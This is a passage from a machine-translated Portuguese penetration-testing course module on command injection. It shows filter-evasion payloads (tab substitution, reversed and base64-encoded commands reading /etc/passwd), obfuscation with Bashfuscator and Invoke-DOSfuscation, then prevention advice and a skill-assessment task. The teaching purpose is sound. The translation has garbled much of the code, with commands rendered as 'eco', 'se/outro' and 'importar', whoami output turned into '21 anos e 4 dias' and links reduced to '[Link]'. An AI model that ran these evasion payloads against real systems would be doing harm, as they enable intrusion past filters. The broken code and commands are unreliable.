Você consegue adivinhar o porquê? É porque o comando acima contém espaços, que é um caractere filtrado em nossa
aplicação web, como vimos antes. Então, com tais técnicas, nós
deve sempre ter certeza de não usar nenhum caractere filtrado , pois isso falhará e podemos , caso contrário, nossos pedidos

pensar que as técnicas não funcionaram.


Machine Translated by Google

Depois de substituir os espaços por tabulações ( %09 ), vemos que o comando funciona perfeitamente:

Solicitação POST do Burp

Existem muitos outros comandos que podemos usar para o mesmo propósito, como os seguintes:

$(a="OqueOaMi";printf %s "${a,,}")

Exercício: Você pode testar o comando acima para ver se ele funciona na sua VM Linux e, então, tentar
evitar o uso de caracteres filtrados para fazê-lo funcionar no aplicativo web?

Comandos Invertidos
Outra técnica de ofuscação de comando que discutiremos é reverter comandos e ter um modelo de
comando que os troca de volta e os executa em tempo real. Neste caso, escreveremos imaohw em vez
de whoami para evitar disparar o comando na lista negra.

Podemos ser criativos com essas técnicas e criar nossos próprios comandos Linux/Windows que
eventualmente executam o comando sem nunca conter as palavras de comando reais.
Primeiro, teríamos que obter a string invertida do nosso comando em nosso terminal, como segue:

eco 'whoami' | rev imaohw

Então, podemos executar o comando original revertendo-o em um sub-shell ( $() ), como segue:

21y4d@htb[/htb]$ $(rev<<<'imaohw')
Machine Translated by Google

21 anos e 4 dias

Vemos que, embora o comando não contenha a palavra whoami real , ele funciona da mesma forma e
fornece a saída esperada. Também podemos testar esse comando com nosso exercício, e ele realmente
funciona:

Solicitação POST do Burp

Dica: Se você quiser ignorar um filtro de caracteres com o método acima, você terá que revertê-los também
ou incluí-los ao reverter o comando original.

O mesmo pode ser aplicado no Windows. Podemos primeiro inverter uma string, como segue:

PS C:\htb> "whoami"[-1..-20] -join ''

imaohw

Agora podemos usar o comando abaixo para executar uma string invertida com um subshell do
PowerShell ( iex "$()" ), como segue:

PS C:\htb> iex "$('imaohw'[-1..-20] -join '')"

21 anos e 4 dias

Comandos codificados
A técnica final que discutiremos é útil para comandos que contêm caracteres filtrados ou caracteres que
podem ser decodificados por URL pelo servidor. Isso pode permitir que o comando obtenha
Machine Translated by Google

bagunçado no momento em que chega ao shell e eventualmente falha na execução. Em vez de copiar um comando
existente online, tentaremos criar nosso próprio comando de ofuscação exclusivo desta vez. Dessa forma, é muito
menos provável que seja negado por um filtro ou um WAF. O comando que criamos será exclusivo para cada
caso, dependendo de quais caracteres são permitidos e do nível de segurança no servidor.

Podemos utilizar várias ferramentas de codificação, como base64 (para codificação b64) ou xxd (para
codificação hexadecimal). Vamos usar base64 como exemplo. Primeiro, codificaremos o payload que queremos
executar (que inclui caracteres filtrados):

eco -n 'cat /etc/passwd | grep 33' | base64

Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

Agora podemos criar um comando que decodificará a string codificada em um sub-shell ( $() ) e então passá-la
para o bash para ser executada (ou seja, bash<<< ), da seguinte maneira:

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

www-dados:x:33:33:www-dados:/var/www:/usr/sbin/nologin

Como podemos ver, o comando acima executa o comando perfeitamente. Não incluímos nenhum caractere
filtrado e evitamos caracteres codificados que podem levar o comando a falhar
executar.

Dica: Observe que estamos usando <<< para evitar o uso de pipe | , que é um personagem filtrado.

Agora podemos usar este comando (depois de substituir os espaços) para executar o mesmo comando
por meio de injeção de comando:

Solicitação POST do Burp


Machine Translated by Google

Mesmo que alguns comandos tenham sido filtrados, como bash ou base64 , poderíamos ignorar esse filtro com
as técnicas que discutimos na seção anterior (por exemplo, inserção de caracteres) ou usar outras
alternativas como sh para execução de comando e openssl para decodificação b64, ou xxd para hex
decodificação.

Usamos a mesma técnica com o Windows também. Primeiro, precisamos codificar em base64 nosso
sequência, como segue:

PS C:\htb>
[Converter] ::ToBase64String( [[Link]ção] ::[Link]('quem sou eu
'))

dwBoAG8AYQBtAGkA

Também podemos conseguir o mesmo no Linux, mas teríamos que converter a string de
utf-8 para utf-16 antes de base64 , como segue:

eco -n whoami | iconv -f utf-8 -t utf-16le | base64

dwBoAG8AYQBtAGkA

Finalmente, podemos decodificar a string b64 e executá-la com um sub-shell do PowerShell ( iex
"$()" ), como segue:

PS C:\htb> iex
"$( [[Link]ção] ::[Link]( [[Link]] ::DeBase64S
string('dwBoAG8AYQBtAGkA')))"

21 anos e 4 dias

Como podemos ver, podemos ser criativos com Bash ou PowerShell e criar novos desvios
e métodos de ofuscação que não foram usados antes e, portanto, são muito propensos a
filtros de bypass e WAFs. Várias ferramentas podem nos ajudar a ofuscar automaticamente nossos comandos,
que discutiremos na próxima seção.

Além das técnicas que discutimos, podemos utilizar vários outros métodos, como
curingas, regex, redirecionamento de saída, expansão de inteiros e muitos outros. Podemos encontrar alguns
tais técnicas em PayloadsAllTheThings.

Ferramentas de Evasão
Machine Translated by Google

Se estivermos lidando com ferramentas de segurança avançadas, talvez não consigamos usar técnicas
básicas de ofuscação manual. Em tais casos, pode ser melhor recorrer a ferramentas de ofuscação
automatizadas. Esta seção discutirá alguns exemplos desses tipos de ferramentas, uma para Linux e outra
para Windows.

Linux (Bashfuscator)
Uma ferramenta útil que podemos utilizar para ofuscar comandos bash é o Bashfuscator. Podemos clonar o
repositório do GitHub e então instalar seus requisitos, da seguinte maneira:

clone git [Link] cd Bashfuscator

pip3 instalar setuptools==65 python3


[Link] instalar --usuário

Depois que tivermos a ferramenta configurada, podemos começar a usá-la a partir do diretório ./
bashfuscator/bin/ . Há muitos sinalizadores que podemos usar com a ferramenta para ajustar nosso comando
ofuscado final, como podemos ver no menu de ajuda -h :

cd ./bashfuscator/bin/
./bashfuscator -h

uso: bashfuscator [-h] [-l] ...SNIP...

argumentos opcionais: -h, --


help mostrar esta mensagem de ajuda e sair

Opções do programa: -l,


--list Liste todos os ofuscadores, compressores,
e codificadores
-c COMANDO, --comando COMANDO
Comando para ofuscar
...RECORTE...

Podemos começar simplesmente fornecendo o comando que queremos ofuscar com o sinalizador -c :

./bashfuscator -c 'cat /etc/passwd'

[+] Mutadores usados: Token/ForCode -> Command/Reverse [+] Carga útil: ${*/+27\
[X\(} ...SNIP... ${*~}
Machine Translated by Google

[+] Tamanho da carga útil: 1664 caracteres

No entanto, executar a ferramenta dessa forma escolherá aleatoriamente uma técnica de ofuscação, que pode
gerar um comprimento de comando variando de algumas centenas de caracteres a mais de um milhão
de caracteres! Então, podemos usar alguns dos sinalizadores do menu de ajuda para produzir um comando
ofuscado mais curto e simples, como a seguir:

./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

[+] Mutadores usados: Token/ForCode


[+] Carga útil:
eval "$(W0=(w \ tecpsa \/ d);para Ll em 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"

[+] Tamanho da carga útil: 104 caracteres

Agora podemos testar o comando de saída com bash -c o comando


'' , para ver se ele executa

pretendido:

bash -c 'eval "$(W0=(w \ tecpsa \/ d);para Ll em 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

raiz:x:0:0:raiz:/raiz:/bin/bash
...RECORTE...

Podemos ver que o comando ofuscado funciona, tudo isso parecendo completamente ofuscado, e não se
assemelha ao nosso comando original. Também podemos notar que a ferramenta utiliza muitas técnicas de ofuscação,
incluindo as que discutimos anteriormente e muitas outras.

Exercício: Tente testar o comando acima com nosso aplicativo web, para ver se ele consegue ignorar
os filtros com sucesso. Se não conseguir, você consegue adivinhar o porquê? E você consegue fazer a ferramenta
produzir uma carga útil funcional?

Windows (DOSfuscação)
Há também uma ferramenta muito semelhante que podemos usar no Windows chamada DOSfuscation. Diferente
Bashfuscator , esta é uma ferramenta interativa, pois a executamos uma vez e interagimos com ela para obter o

comando ofuscado desejado. Podemos clonar a ferramenta novamente do GitHub e então invocá-la através
do PowerShell, como segue:
Machine Translated by Google

PS C:\htb> git clone [Link]

PS C:\htb> cd Invocar-DOSfuscation
PS C:\htb> Importar-Módulo .\Invoke-DOSfuscation.psd1
PS C:\htb> Invocar-DOSfuscation
Invoke-DOSfuscation> ajuda

MENU AJUDA :: Opções disponíveis mostradas abaixo:


[*] Tutorial de como utilizar esta ferramenta ...SNIP... TUTORIAL

Escolha uma das opções abaixo:


[*] BINÁRIO [*] Sintaxe binária ofuscada para [Link] e [Link]
CODIFICAÇÃO Codificação de variável de ambiente
[*] PAYLOAD Carga útil ofuscada via DOSfuscation

Podemos até usar o tutorial para ver um exemplo de como a ferramenta funciona. Uma vez que estamos definidos, nós
pode começar a usar a ferramenta, da seguinte forma:

Invoke-DOSfuscation> SET COMMAND tipo C:\Usuários\htb-student\Desktop\[Link]

Invoke-DOSfuscation> codificação
Invocar-DOSfuscation\Encoding> 1

...RECORTE...
Resultado:

typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Usuários\h%TMP:~-13,-12%b-
stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag
.%TMP:~-13,-12%xt

Por fim, podemos tentar executar o comando ofuscado no CMD e ele , e vemos que de fato

funcionará conforme o esperado:

C:\htb> tipo%TEMP:~-3,-2%
%CommonProgramFiles:~17,-11%:\Usuários\h%TMP:~-13,-12%b-
stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag
.%TMP:~-13,-12%xt

sinalizador_de_teste

Dica: Se não tivermos acesso a uma VM Windows, podemos executar o código acima em uma VM Linux
através do pwsh . Execute o pwsh e siga exatamente o mesmo comando acima. Esta ferramenta é
Machine Translated by Google

instalado por padrão na sua instância `Pwnbox`. Você também pode encontrar instruções de instalação neste link.

Para mais informações sobre métodos avançados de ofuscação, você pode consultar o Secure Coding 101:
JavaScript módulo, que aborda métodos avançados de ofuscação que podem ser utilizados em vários ataques,
incluindo os que abordamos neste módulo.

Prevenção de injeção de comando

Agora devemos ter um entendimento sólido de como as vulnerabilidades de injeção de comando ocorrem e como
certas mitigações, como filtros de caracteres e comandos, podem ser ignoradas. Esta seção discutirá métodos
que podemos usar para evitar vulnerabilidades de injeção de comando em nossos aplicativos da web e configurar
adequadamente o servidor da web para preveni-las.

Comandos do sistema

Devemos sempre evitar usar funções que executem comandos do sistema, especialmente se estivermos usando
entrada do usuário com elas. Mesmo quando não estamos inserindo diretamente a entrada do usuário nessas
funções, um usuário pode ser capaz de influenciá-las indiretamente, o que pode eventualmente levar a uma
vulnerabilidade de injeção de comando.

Em vez de usar funções de execução de comando do sistema, devemos usar funções internas que realizam a
funcionalidade necessária, pois as linguagens de back-end geralmente têm implementações seguras
desses tipos de funcionalidades. Por exemplo, suponha que quiséssemos testar se um host específico está ativo
com PHP . Nesse caso, podemos usar a função fsockopen em vez disso, que não deve ser explorável para
executar comandos arbitrários do sistema.

Se precisarmos executar um comando do sistema e nenhuma função interna puder ser encontrada para
executar a mesma funcionalidade, nunca devemos usar diretamente a entrada do usuário com essas funções,
mas devemos sempre validar e higienizar a entrada do usuário no back-end.
Além disso, devemos tentar limitar o uso desses tipos de funções o máximo possível e usá-las somente quando não
houver uma alternativa integrada à funcionalidade que precisamos.

Validação de entrada

Seja usando funções internas ou funções de execução de comando do sistema, devemos sempre validar e então
higienizar a entrada do usuário. A validação de entrada é feita para garantir que ela corresponda ao formato
esperado para a entrada, de modo que a solicitação seja negada se não corresponder. Em nosso aplicativo da
web de exemplo, vimos que houve uma tentativa de validação de entrada no front-
Machine Translated by Google

final, mas a validação de entrada deve ser feita tanto no front-end quanto no back-end.
fim .

Em PHP , como muitas outras linguagens de desenvolvimento web, existem filtros integrados para uma variedade de

formatos padrão, como e-mails, URLs e até mesmo IPs, que podem ser usados com o filter_var
função, como segue:

se (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
// chamar função
} outro {
// negar solicitação
}

Se quisermos validar um formato diferente e não padrão, podemos usar um formato Regular

Expressão regex com a função preg_match . O mesmo pode ser alcançado com

JavaScript para front-end e back-end (ou seja, NodeJS ), como segue:

se(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-
9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.( 25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?)$/.teste(ip)){
// chamar função
}
outro{
// negar solicitação
}

Assim como PHP , com NodeJS , também podemos usar bibliotecas para validar vários formatos padrão,

como is-ip por exemplo, que podemos instalar com npm e, em seguida, usar a função isIp(ip) em

nosso código. Você pode ler os manuais de outras linguagens, como .NET ou Java, para descobrir como

validar a entrada do usuário em cada idioma respectivo.

Sanitização de entrada

A parte mais crítica para evitar qualquer vulnerabilidade de injeção é a higienização de entrada, que

significa remover quaisquer caracteres especiais desnecessários da entrada do usuário. Entrada

a sanitização é sempre realizada após a validação da entrada. Mesmo depois de validarmos que o

desde que a entrada do usuário esteja no formato adequado, ainda devemos realizar a higienização e remover

quaisquer caracteres especiais não necessários para o formato específico, pois há casos em que a entrada

a validação pode falhar (por exemplo, uma regex incorreta).


Machine Translated by Google

Em nosso código de exemplo, vimos que quando estávamos lidando com filtros de caracteres e comandos,
ele estava colocando certas palavras na lista negra e procurando por elas na entrada do usuário. Geralmente, essa
não é uma abordagem boa o suficiente para evitar injeções, e devemos usar funções internas para remover quaisquer
caracteres especiais. Podemos usar preg_replace para remover quaisquer caracteres especiais da entrada
do usuário, como a seguir:

$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);

Como podemos ver, o regex acima permite apenas caracteres alfanuméricos ( A-Za-z0-9 ) e permite um caractere
de ponto ( . ) conforme necessário para IPs. Quaisquer outros caracteres serão removidos da string. O mesmo
pode ser feito com JavaScript , como segue:

var ip = [Link](/[^A-Za-z0-9.]/g, '');

Também podemos usar a biblioteca DOMPurify para um back-end NodeJS , da seguinte forma:

importar DOMPurify de 'dompurify'; var ip =


[Link](ip);

Em certos casos, podemos querer permitir todos os caracteres especiais (por exemplo, comentários do usuário),
então podemos usar a mesma função filter_var que usamos com validação de entrada e usar o filtro
escapeshellcmd para escapar quaisquer caracteres especiais, para que eles não possam causar nenhuma
injeção. Para NodeJS , podemos simplesmente usar a função escape(ip) . No entanto, como temos

visto neste módulo, escapar caracteres especiais geralmente não é considerado uma prática segura, pois muitas
vezes pode ser contornado por meio de várias técnicas .

Para mais informações sobre validação e higienização de entrada do usuário para evitar injeções de comando,
consulte Secure Coding 101: JavaScript módulo, que aborda como auditar o código-fonte de um aplicativo web
para identificar vulnerabilidades de injeção de comando e, em seguida, trabalhar para corrigir adequadamente
esses tipos de vulnerabilidades.

Configuração do servidor
Por fim, devemos garantir que nosso servidor back-end esteja configurado com segurança para reduzir o impacto
no caso de o servidor web ser comprometido. Algumas das configurações que podemos implementar são:

Use o Firewall de Aplicativo Web integrado do servidor web (por exemplo, no Apache mod_security ), além de
um WAF externo (por exemplo, Cloudflare , Fortinet , Imperva ..)
Machine Translated by Google

Cumpra o Princípio do Menor Privilégio (PoLP) executando o servidor web como um usuário com
privilégios baixos (por exemplo, www-data )

Impedir que certas funções sejam executadas pelo servidor web (por exemplo, em PHP
disable_functions=system,... )

Limitar o escopo acessível pelo aplicativo da web à sua pasta (por exemplo, em PHP
open_basedir = '/var/www/html' )
Rejeitar solicitações com codificação dupla e caracteres não ASCII em URLs

Evite o uso de bibliotecas e módulos sensíveis/desatualizados (por exemplo, PHP CGI)

No final, mesmo depois de todas essas mitigações e configurações de segurança, temos que executar as técnicas
de teste de penetração que aprendemos neste módulo para ver se alguma funcionalidade do aplicativo da
web ainda pode ser vulnerável à injeção de comando. Como alguns aplicativos da web têm milhões de linhas
de código, qualquer erro em qualquer linha de código pode ser suficiente para introduzir uma vulnerabilidade.
Portanto, devemos tentar proteger o aplicativo da web complementando as melhores práticas de codificação
segura com testes de penetração completos.

Avaliação de habilidades

Você é contratado para executar um teste de penetração para uma empresa e, por meio do seu pentest, você
tropeça em um aplicativo web gerenciador de arquivos interessante. Como os gerenciadores de arquivos tendem
a executar comandos do sistema, você está interessado em testar vulnerabilidades de injeção de
comando.

Use as diversas técnicas apresentadas neste módulo para detectar uma vulnerabilidade de injeção de
comando e então explorá-la, evitando quaisquer filtros existentes.

Você também pode gostar